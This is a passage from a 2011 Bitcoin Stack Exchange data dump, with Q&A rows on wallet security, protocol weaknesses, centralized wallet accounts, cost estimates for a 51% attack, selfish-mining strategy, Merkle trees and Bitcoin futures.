ContentLicense="CC BY-SA 3.0" />
  <row Id="1088" PostTypeId="2" ParentId="1080" CreationDate="2011-09-15T22:44:04.430" Score="2" Body="&lt;p&gt;An alternative is to buy &lt;a href=&quot;http://www.bitbills.com/how.html&quot; rel=&quot;nofollow&quot;&gt;BitBills&lt;/a&gt; or something similar. That is much safer (because the key is not visible unless you break the bill) and can also be used as &quot;cash&quot; (you can give it to someone).&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-15T22:44:04.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1089" PostTypeId="2" ParentId="1086" CreationDate="2011-09-15T23:25:51.320" Score="10" Body="&lt;p&gt;There is no consensus. I think part of the reason for that is that many people involved in the Bitcoin project have a vested interest in maintaining that there is nothing wrong with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there really is nothing wrong with Bitcoin, but there is lots of room for improvement. However, most improvements suggested have corresponding costs, and there is no consensus that the benefits outweigh the costs for many of the improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few areas where improvements are likely possible:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The mining algorithm is only computation hard. It is not memory hard or decision hard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anonymity is limited by the inability to publish a receiving address without revealing how many coins are transferred to that address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no good way to prune the block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no good way to reverse a transaction or indicate acceptance of a transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transaction fees are not predictable long-term.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining pools have centralized the decision of which transactions to include and which chain to work on, defeating some of the protection diversified mining was supposed to provide.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no way to recover lost coins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no good way to manage the currency if that turns out to be needed. For example, the block payout algorithm is all but fixed in stone but may make no sense in a decade.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is no good way to pull coins out of the block chain such that they can be put back in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A 51% attack can revert as much of the chain as desired, up to the last checkpoint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My own opinion is that it's way too early to talk about Bitcoin 2.0. We don't know enough about what's really right and what's really wrong yet, and such efforts would actually work against broader adoption of crypto-currencies by reducing stability.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-15T23:25:51.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1090" PostTypeId="1" CreationDate="2011-09-16T00:00:26.740" Score="7" ViewCount="566" Body="&lt;p&gt;I tried to generalize this question from one I asked on the BitcoinJ development list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a project that requires a centralized wallet. From what I gather, these types of services generally rely upon simple balance checks to ensure that an individual user doesn't spend more than is in their wallet. That is, all users share a pool of keys, and the only thing tracking each user's balance is the service's database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin daemon exposes functionality not in the GUI, namely that of accounts. An account is a string that groups keys. You can send from an account, and it will only gather coins owned by the keys in that account. This is beneficial, but is fairly limited. Using this however, you could have each account be a unique identifier for a user, and then that user &quot;owns&quot; the associated keys. One seeming drawback to this is that there is one centralized location to change ownership of an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with a potentially better solution. Each account &quot;owns&quot; one or more public key hashes (the meat of a Bitcoin address). When creating a transaction, the service will transmit these hashes, letting the wallet know that when scanning unspent outputs, only use those with a public key hash owned by the user. In this way, without associating a user account with the private key itself, we are able to allow the user to have exclusive access to any number of keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this seem like a good solution to the problem? Is there something better that I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2016-06-11T21:04:39.270" Title="How should centralized wallets handle user accounts?" Tags="|security|wallet|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1091" PostTypeId="2" ParentId="1090" CreationDate="2011-09-16T01:44:28.513" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In this way, without associating a user account with the private key itself, we are able to allow the user to have exclusive access to any number of keys. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A very significant benefit that wallet services can offer is immediate and invisible transfer of coins between their accounts, by just updating their internal databases, without going through the block chain. This is how you can facilitate trades on MtGox for example, and it also provides increased anonymity, because you can now make transactions that are not visible on the block chain (and the transactions that are visible are withdrawal and deposits into the service as a whole, and those addresses are shared between many users, so also effectively anonymized). Obviously, this will not work unless the service can &quot;redistribute&quot; all the coins in all its addresses at will internally. (And obviously this also only works if every account holder trusts the wallet service to not take all the coins and make a run for it).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each account &quot;owns&quot; one or more public key hashes (the meat of a Bitcoin address). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, for making deposits, this is how it already works with wallet services. There is a (or many) receiving address (sometimes for one-time use, sometimes stable and fit for publication) that is associated with every account holder. You deposit to the account using that address. However, the private key remains with the wallet service, and can be used by it for all kinds of unrelated payments. &lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-16T01:44:28.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1092" PostTypeId="2" ParentId="658" CreationDate="2011-09-16T03:14:45.637" Score="4" Body="&lt;p&gt;Anyone who owns 51% of the network will have made a massive investment in hardware and systems to organize and construct a machine capable of executing such an attack. If their motive is profit, then the short term gain associated with forking the block chain to enable 'double spend' will net them a negligible benefit; it's difficult to imagine they would pursue this strategy on the basis that the resulting instability will ultimately de-value the very coins they seek to 'spend twice'. If their motive is to destroy Bitcoin, period, that is another matter altogether. That kind of &lt;a href=&quot;http://www.yourwindow.to/information-security/gl_technovandalism.htm&quot; rel=&quot;nofollow&quot;&gt;techno-vandalism&lt;/a&gt; could only reasonably be motivated by someone with destruction and disruption serving as their primary motivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I posit it's much more likely that such a massive and powerful compute resource (Bitcoin supercomputer) will be used to power the vast bulk of the network within the bounds of its intended use, profiting long term from generation rewards and transaction fees, as the network grows and prospers over time.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2011-09-16T03:14:45.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostTypeId="1" AcceptedAnswerId="1094" CreationDate="2011-09-16T03:15:21.413" Score="28" ViewCount="3249" Body="&lt;p&gt;I know that it's commonly said that they're not really in the realm of possibility right now, but how much would it really cost to execute a 51% attack on the network?  And are there any organizations out there who might have a goal in mind for which such an attack would be worth it?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-01-27T13:43:27.327" LastActivityDate="2017-12-03T09:56:51.203" Title="How much would it cost to execute a 51% attack?" Tags="|security|majority-attack|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1094" PostTypeId="2" ParentId="1093" CreationDate="2011-09-16T03:15:41.053" Score="17" Body="&lt;p&gt;Adding to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1063/could-the-ec2-infrastructure-be-used-to-efficiently-launch-a-51-attack&quot;&gt;David's quote&lt;/a&gt; of $65,415 per hour here's a quick analysis of non-EC2 attacks (i.e. buy and run ALL the hardware to sustain a 51% attack)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since power efficiency will be HUGE for this scale of an operation, let's use the most power efficient card we can find. This &lt;a href=&quot;http://pastebin.com/AvymGnMJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;lovely pastebin doc&lt;/a&gt; tells us that is the Radeon 5850 at 1.595 MH/W.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present you need 12.42 TH/s to pull off a 51% attack, which would require 51,585 of these cards. Assuming we put four cards to a rig it also requires 12,897 computers to run them all. Assuming the PCs take a scant 200 watts, each rig requires 804 watts of power, 10,365,735 watts in all. Assuming a fairly high efficiency cooling system, we can bump that up to about 14,619,916 watts. Before anyone claims that this alone is impossible, keep in mind it's about 0.7% of the peak output of &lt;a href=&quot;http://www.enviro-news.com/article/hoover_dam_nevada.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hoover Dam&lt;/a&gt;. Speaking of Hoover Dam, I'm going to use my local energy rate of 11.28 cents per kW/h (I live in Vegas) to find that it would cost $39,579.04 to run and cool these rigs for a single day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these cards cost $192 at the cheapest outlet I could locate, we'd spend $9,904,320 on cards and at if we spent a scant $500 on each rig's other hardware they'd cost us $6,448,120 as well for a total hardware cost of $16,352,440. If we amortize that cost over a year of operation before the parts die or become too obsolete to pull off our attacks any more, we can estimate $44,770.54 per day in hardware costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total cost in amortized hardware and electricity to run a 51% attack for one day on the bitcoin network: $84,349.58 - but also recall that our total startup costs were 16.35 million dollars, and all that would buy you is the ability to double-spend for a time, so no it wouldn't really be worth it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-09-16T13:18:55.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostTypeId="2" ParentId="13" CreationDate="2011-09-16T07:41:38.657" Score="3" Body="&lt;p&gt;Given that economists cannot agree unanimously on the global effects of relatively small events like a change in interest rates or a stimulus package, I would say that a major event like mass adoption of Bitcoin is far beyond anybody's prediction horizon. The global economy is a complex dynamical system and we really don't understand such things as well as some would have you think. &lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2011-09-16T07:41:38.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostTypeId="1" CreationDate="2011-09-16T10:23:50.933" Score="9" ViewCount="531" Body="&lt;p&gt;Is there a service out there, or is there any intention to integrate Standing Order type transactions into the client ? (Every 30 days transfer 0.2BTC to a specific address for example).&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-16T12:52:51.910" Title="Standing Orders, Is it possible with Bitcoins?" Tags="|transactions|client|payment|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1097" PostTypeId="2" ParentId="1096" CreationDate="2011-09-16T12:46:28.943" Score="2" Body="&lt;p&gt;I don't think the client could be relied on for this as it would need to be running all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would need a 3rd party e-wallet service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically this would be very easy to do.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-09-16T12:46:28.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostTypeId="2" ParentId="1096" CreationDate="2011-09-16T12:52:51.910" Score="3" Body="&lt;p&gt;One way to accomplish this today is to run Bitcoin with the -server switch. Then, create a cron job (Linux) or scheduled task (Windows) that calls bitcoind with the proper arguments. Something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind sendtoaddress &amp;lt;address&amp;gt; &amp;lt;amount&amp;gt; &amp;lt;comment&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The up side of this method is that you can run a lot of different commands this way. See the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; for a full list of available RPC calls.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2011-09-16T12:52:51.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1099" PostTypeId="1" AcceptedAnswerId="1115" CreationDate="2011-09-16T13:23:54.323" Score="9" ViewCount="339" Body="&lt;p&gt;I haven't seen this discussed before, if it has been please provide a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I find a block while mining but then discover that another miner broadcast a block mere moments ago, I could begin mining the next block based on the network accepted block. Or I could begin mining based on my rejected block. I'm not trying to double spend, I'm including all the same transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like I have nothing to lose by doubling down at this point. Based on my hashing power I expect the same chance of finding the next block, but if I mine my own block successfully I'll get the coin for mining both blocks. Same risk, double reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I control 51% and I do this, it seems that a successful fork is the most likely outcome. Taking it a step further with the 51% scenario: If I find a block after 3 minutes and I compute that 95% of recent blocks have been found after 6.5 minutes can't I withhold my block from the network briefly, risking the 5% chance of being beaten in order to get lead time on the next block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I control 51% and use this strategy, isn't it inevitable that at some point I will mine 2 quick blocks back to back and that I can use my position of being ahead of the network as leverage to get farther ahead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I find block 1000 and the network accepts it. We all begin mining for block 1001. I find 1001 after 3 minutes, I keep it to myself and start on 1002. I get lucky and find 1002 before anyone else broadcasts a 1001. I begin work on 1003. Someone broadcasts a 1001 and the network moves on to mining 1002. At this point I don't immediately broadcast my block 1002. I've computed that 99% of recent blocks are broadcast after 4 minutes. So i continue mining 1003 for an additional 4 minutes, taking only a 1% chance of being preempted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, only after the network has wasted 4 minutes mining 1002 do I transmit my 1002 which invalidates both the other miner's 1001 and the whole networks expenditure on 1002. This leaves me with winning blocks 1001 &amp;amp; 1002 a 4+ minute head start on 1003. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I control 51% and use that strategy, where every quick block I find and every long block the network finds will fuel my head start, isn't it inevitable that at some point I will gain the power to string the network along where all their work is wasted on blocks I have already found but not shared. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't this be invisible to users and merchants yet devastating to miners? Wouldn't this disincentivize mining thereby increasing my relative hashing power and the length of my string along chains?&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="5406" LastEditDate="2016-01-27T13:46:50.257" LastActivityDate="2016-01-27T13:46:50.257" Title="String-along, is this possible and is it an attack?" Tags="|security|majority-attack|selfish-mining|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1100" PostTypeId="1" AcceptedAnswerId="1129" CreationDate="2011-09-16T15:12:21.710" Score="4" ViewCount="242" Body="&lt;p&gt;I'm looking to implement a secure mobile messaging service and looking for a payment system that will allow users to buy message credits and have them be allocated to a specific account however I want to keep user data to a minimum (currently I'm planning for no more than a public key, user name (five random characters), account balance and optionally an e-mail address (in case the user loses their phone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questron is can I send the five character username with bitcoin transactions?&lt;/p&gt;&#xA;" OwnerDisplayName="user410" LastEditorUserId="44" LastEditDate="2011-09-16T16:06:33.400" LastActivityDate="2011-09-22T20:54:17.550" Title="Can a bitcoin transaction be used to send usernames?" Tags="|payment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostTypeId="2" ParentId="1099" CreationDate="2011-09-16T15:25:10.753" Score="1" Body="&lt;p&gt;Building your own private chain is the basic and powerful &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do/662#662&quot;&gt;51% attack&lt;/a&gt;. If you got 51% of the total hashing power, your private chain will be longer than the network chain, with higher and higher probability as time passes by. Wait some few days and you are basicaly sure to obtain a bigger chain than the network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Based on my hashing power I expect the same chance of finding the next block, but if I mine my own block successfully I'll get the coin for mining both blocks. Same risk, double reward.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perfectly valid reasoning. I'm not sure how the standard client behaves when a block has been found just a few milliseconds after an other block has been received, but anyway, this should not happen very often.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-16T15:25:10.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1102" PostTypeId="2" ParentId="484" CreationDate="2011-09-16T15:55:22.863" Score="-2" Body="&lt;p&gt;What about a 'keep alive' algorithm in the Bitcoin client which is setup to 'send coins to self' every 2 - 5 years (where the amount of time picked is a balance between time and the generation of unnecessary transactions). Anybody running the client and maintaining a wallet with coins would automatically have their coins kept 'fresh' with the appropriate refresh interval. The client would then be setup to 'cull the blockchain' by ignoring transactions that are 'stale'. Destroyed coins could then be added back as an extension of the mining rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this proposal essentially parrots what @David Schwartz mentions in his answer. &lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2011-09-16T15:55:22.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostTypeId="5" CreationDate="2011-09-16T16:17:23.197" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="5406" LastEditDate="2014-04-03T10:56:56.447" LastActivityDate="2014-04-03T10:56:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostTypeId="4" CreationDate="2011-09-16T16:17:23.197" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information. Type 5: Describes question, not content.&#xD;&#xA;&#xD;&#xA;Previously: &quot;Questions that are more theoretical rather than practical.&quot; " OwnerUserId="228" LastEditorUserId="5406" LastEditDate="2014-04-03T10:56:56.447" LastActivityDate="2014-04-03T10:56:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1105" PostTypeId="2" ParentId="1100" CreationDate="2011-09-16T16:25:08.520" Score="0" Body="&lt;p&gt;you can create custom Bitcoin addresses containing the 5 characters if that helps, with the vanity address generator:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=25804.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2011-09-16T16:25:08.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostTypeId="1" CreationDate="2011-09-16T16:27:38.280" Score="5" ViewCount="684" Body="&lt;p&gt;One of the most common reasons I hear that Bitcoin is &quot;not ready for prime time&quot; is that because of its wildly oscillating valuation &lt;strong&gt;businesses can't accept bitcoins without becoming speculators&lt;/strong&gt;.  In my own experience trying to use bitcoins for business, I have found this to be quite true--at the very least, it is a significant problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common solution I hear offered for this problem is that &lt;strong&gt;the emergence of a stable, high-volume futures market may allow for businesses to transact in bitcoins&lt;/strong&gt; while ignoring market volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, it leads me to wonder--is there any way to incorporate some sort of futures market directly into the Bitcoin protocol?  That way bitcoins themselves, like gold, could oscillate up and down according to market demand, but through some sort of digital derivative on them, people could trade much more stable values.  Are there theoretical and practical barriers to this?  What are they?&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2012-04-26T17:36:57.020" Title="Could a futures market be included in the Bitcoin protocol?" Tags="|protocol|value|price-volatility|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostTypeId="1" AcceptedAnswerId="1111" CreationDate="2011-09-16T17:01:34.800" Score="6" ViewCount="292" Body="&lt;p&gt;I was putting an answer for &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1106/could-a-futures-market-be-included-in-the-bitcoin-protocol&quot;&gt;this question&lt;/a&gt; together when I realised my idea would require a new type of transaction to be invented and included in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I wondered how that could work. There are many mining rigs out there which would have no way of validating my transaction type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if some miners do recognise my transaction and even included it in a winning block, all the other miners would not accept that winning block and instead continue mining on the previous block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen if we wanted to devlop Bitcoin this way? Would we instead have to establish Bitcoin2 with a new block chain?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2017-04-20T10:26:54.427" Title="Can new types of transactions be included the current block chain?" Tags="|blockchain|development|alternatives|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1109" PostTypeId="2" ParentId="1107" CreationDate="2011-09-16T17:20:15.847" Score="1" Body="&lt;p&gt;Short answer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically possible? Yes.  Likely? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to modify the protocol to include other types of transactions -- such things have been proposed for a wide variety of issues, including being able to lockdown stolen coins, timestamp messages, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is highly unlikely they will ever make it in, at least not anytime soon, because changing the blockchain is a Big Deal and we are already dealing with &quot;block chain bloat&quot; and many of them have other possible solutions that don't involve modifying the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your particular suggestion (in the other thread) seems incredibly unlikely to ever make it as part of the protocol since there is just no need for it to be. Trading exchanges can easily implement futures, options, and all sorts of derivatives if they want - no changes to blockchain necessary.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="153" LastEditDate="2011-09-16T20:06:26.177" LastActivityDate="2011-09-16T20:06:26.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1110" PostTypeId="1" AcceptedAnswerId="1134" CreationDate="2011-09-16T18:52:27.300" Score="24" ViewCount="13221" Body="&lt;p&gt;I`m slowly implementing some Bitcoin protocols, and I'm not sure how to properly understand the Merkle Tree from the Bitcoin wiki:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&lt;/a&gt;&#xA;I have strings a, b, c, I double-hash them and I get the three leaf nodes. But I'm not sure what to do with the higher nodes. Do I double hash the sum of the resulting bytes (treating them like big numbers), or do I concatenate (treating them like strings), or perhaps do I should something else?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="1842" LastEditDate="2012-10-18T00:13:04.427" LastActivityDate="2018-09-27T16:23:07.543" Title="How do I implement a Merkle Tree?" Tags="|development|protocol|hash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1111" PostTypeId="2" ParentId="1107" CreationDate="2011-09-16T20:08:18.030" Score="3" Body="&lt;p&gt;Miners will accept block with transactions they don't understand, so long as the transactions don't attempt to create Bitcoins out of thin air. They won't include transactions they can't validate in their own mined blocks though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is active effort at the top levels of the Bitcoin developers to get new transaction types into the client. M-of-N transactions (transactions that require a set of signatures), for example, are close to obtaining a consensus.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-16T20:08:18.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1113" PostTypeId="2" ParentId="53" CreationDate="2011-09-16T20:57:21.623" Score="1" Body="&lt;p&gt;If I may answer with my stack overflow hat on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I'd draw a random number in way that no participant can influence the result of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invite each player to pick a random number, x, and publish the hash(x). Once each hash has been published, each player should then reveal their x. With those x's, add them all together and hash the result. Use that final hash as the random value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: To work around the attack described in the comment below, use two rounds.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each player selects a randon number, x, and reveals hash(x).&lt;/li&gt;&#xA;&lt;li&gt;When all hashes have been revealed, each player reveals x.&lt;/li&gt;&#xA;&lt;li&gt;All x's are combined and hashed. y=hash(all x)&lt;/li&gt;&#xA;&lt;li&gt;Each player selects a new random number, z, and reveals hash(y+z).&lt;/li&gt;&#xA;&lt;li&gt;When all of the second round of hashes have been revealed, each player reveals z.&lt;/li&gt;&#xA;&lt;li&gt;All z's are combined and hashed. The result is used as the random value.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the player has a prepared hash collision, they could only use it to select their prefered y value. This doesn't help because they would now need a way to find a collision where both inputs have the same prefix (y) which won't be known in advance. If you can do that in a timely manner, we all need a new hash function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I welcome comments. Its possible I've missed something else.)&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2011-09-22T18:36:23.430" LastActivityDate="2011-09-22T18:36:23.430" CommentCount="6" CommunityOwnedDate="2011-09-16T20:57:21.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostTypeId="2" ParentId="1106" CreationDate="2011-09-16T22:31:08.567" Score="1" Body="&lt;p&gt;Parties can agree to a contract for forward delivery and payment on anything, including Bitcoin.  In the absence of a formal exchange, the parties must accept the risk that their counterparty is unable to perform according to the contract, and must work out the legal details of each contract individually.  A formal exchange such as CME or COMEX performs due diligence on the buyer and seller and holds margin as a security deposit against the ability of the parties to perform, such that the exchange can safely act as the counterparty to both the buyer and seller in the futures contracts.  Exchanges also standardize the terms of the contracts, which reduces legal costs and increases fungibility of the contracts, which greatly improves the liquidity of the futures contract market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an exchange dealing in Bitcoin futures contracts would be required.  The exchange could be built from scratch by a party with the capital required to take on the counterparty and trade settlement roles, or an existing recognized exchange could be convinced to add some Bitcoin contracts.  The recognized exchange approach would go a long way toward accomplishing the goal of stabilizing the value of the currency. &lt;/p&gt;&#xA;" OwnerUserId="412" LastActivityDate="2011-09-16T22:31:08.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1115" PostTypeId="2" ParentId="1099" CreationDate="2011-09-16T22:42:44.313" Score="11" Body="&lt;p&gt;A miner can always lose out if someone else mines a block at approximately the same time as he does. A miner will always continue building on his own block if he finds one before he processes a block found by someone else. It is never to a miner's advantage to ignore a block found by someone else unless he himself has found a block at almost exactly the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is all behavior as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you mine a block, everyone else who has not found a block has a strong incentive to mine after your block. If they don't, they have to find &lt;em&gt;two&lt;/em&gt; blocks to get any credit at all. If they find one block first, the rest of the network will ignore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you control 51%, you effectively control 100%. That is also expected behavior.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-16T22:42:44.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1116" PostTypeId="5" CreationDate="2011-09-16T22:53:46.123" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-16T22:53:46.123" LastActivityDate="2011-09-16T22:53:46.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1117" PostTypeId="4" CreationDate="2011-09-16T22:53:46.123" Score="0" Body="A market for contracts to deliver something in the future for a price paid now." OwnerUserId="228" LastEditorUserId="228" LastEditDate="2011-09-17T00:56:59.230" LastActivityDate="2011-09-17T00:56:59.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1118" PostTypeId="5" CreationDate="2011-09-16T22:54:27.277" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-16T22:54:27.277" LastActivityDate="2011-09-16T22:54:27.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostTypeId="4" CreationDate="2011-09-16T22:54:27.277" Score="0" Body="Why Bitcoin (or something else) is better than the alternatives." OwnerUserId="228" LastEditorUserId="85" LastEditDate="2011-09-18T03:26:48.470" LastActivityDate="2011-09-18T03:26:48.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostTypeId="2" ParentId="1018" CreationDate="2011-09-16T23:38:54.887" Score="2" Body="&lt;p&gt;No. The trades in Bitcoins just aren't that frequent. That is relevant to HFT in stocks, where there are many thousands of trades per second.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2011-09-16T23:38:54.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
